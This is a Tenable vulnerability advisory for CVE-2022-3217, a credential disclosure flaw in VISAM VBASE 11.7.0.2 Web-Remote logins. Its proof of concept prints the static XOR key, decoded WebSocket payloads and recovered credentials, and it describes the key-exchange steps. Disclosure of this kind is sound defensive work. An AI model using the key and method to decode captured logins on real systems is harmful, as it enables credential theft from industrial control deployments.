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VISAM VBASE v11.7.0.2 Credential Disclosure

High

Synopsis

Tenable found a credential disclosure vulnerability in VISAM VBASE 11.7.0.2. When logging in to a VBASE runtime project via Web-Remote, the product uses XOR with a static initial key to obfuscate login messages. An unauthenticated remote attacker with the ability to capture a login session can obtain the login credentials.


PoC:
python3 vbase_web_remote_credential_disclosure.py -f vbase_web_remote_11.7.0.2_login_success.pcapng -p 8181
[-- Initial XOR decoding key --]
00000000: 54 3E 4C 4D 44 3A 54 30  50 36 4A 51 57 3C 51 3E  T<LMD:T0P6JQW<Q>
00000010: 56                                                V
[-- client WebSocket payload --]
00000000: 18 71 0B 04 0A 68 11 61  05 73 19 05              .q...h.a.s..
[-- client WebSocket payload decoded --]
00000000: 4C 4F 47 49 4E 52 45 51  55 45 53 54              LOGINREQUEST
[-- server WebSocket payload --]
00000000: 18 71 0B 04 0A 68 11 61  05 73 19 05 73 6C 62 5C  .q...h.a.s..slb\
00000010: 66 34 65 04 73 1F 65 00  59 6B 17 15 3B 31        f4e.s.e.Yk..;1
[-- server WebSocket payload decoded --]
00000000: 4C 4F 47 49 4E 52 45 51  55 45 53 54 24 50 33 62  LOGINREQUEST$P3b
00000010: 30 60 5B 48 3E 5B 5F 54  69 3B 21 5F 6A 66        0`[H>[_Ti;!_jf
[-- New XOR decoding key --]
00000000: 50 33 62 30 60 5B 48 3E  5B 5F 54 69 3B 21 5F 6A  P3b0`[H>[_Ti;!_j
00000010: 66                                                f
[-- client WebSocket payload --]
00000000: 1C 7C 25 79 2E 7F 29 5A  36 36 3A 4D 4B 40 2C 19  .|%y..)Z66:[email protected],.
00000010: 11 3F 41 06 01 52 68                              .?A..Rh
[-- client WebSocket payload decoded --]
00000000: 4C 4F 47 49 4E 24 61 64  6D 69 6E 24 70 61 73 73  LOGIN$admin$pass
00000010: 77 6F 72 64 31 32 33                              word123
user 'admin' attempted to login with password 'password123' !
[-- server WebSocket payload --]
00000000: 1C 7C 25 79 2E 04 07 75  7F 11 00 20 4C 6C 18 2C  .|%y...u... Ll.,
00000010: 0D 32 64 0E 45 2D 1F 0D  49 16 35 1D 1E 76 4B 16  .2d.E-..I.5..vK.
00000020: 12 28 14 66 56 7D 34 02  75                       .(.fV}4.u
[-- server WebSocket payload decoded --]
00000000: 4C 4F 47 49 4E 5F 4F 4B  24 4E 54 49 77 4D 47 46  LOGIN_OK$NTIwMGF
00000010: 6B 62 57 6C 75 4D 44 45  77 4D 6A 49 77 4D 6A 49  kbWluMDEwMjIwMjI
00000020: 78 4E 44 55 34 4D 54 59  3D                       xNDU4MTY=
As shown above, the login process is simple:
  • Client sends text 'LOGINREQUEST' XORed with an initial static key.
  • Server sends 'LOGINREQUEST$'; this message is XORed with the initial key.
  • Client decodes server's LOGINREQUEST message using the initial key, extracting the new XOR key.
  • Clients sends 'LOGIN$$' XORed with the new key.
  • Server decodes client's credentials using the new XOR key.
If the credentials are correct, the server returns 'LOGIN_OK$'. Otherwise, it returns 'LOGIN_FAILED'.

Solution

Contact vendor for solution.

Disclosure Timeline

02/08/2022 - Vulnerability Discovered
04/11/2022 - First contact attempt
04/26/2022 - Second contact attempt
05/10/2022 - Final contact attempt
05/11/2022 - Vendor responds
05/11/2022 - Vulnerability disclosed
07/15/2022 - Tenable asks for update
09/12/2022 - Tenable asks for update

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2022-3217
Tenable Advisory ID
TRA-2022-31
CVSSv3 Base / Temporal Score
8.8/8.3
CVSSv3 Vector
AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Products
VISAM VBASE
Risk Factor
High

Advisory Timeline

September 14, 2022 - Advisory published
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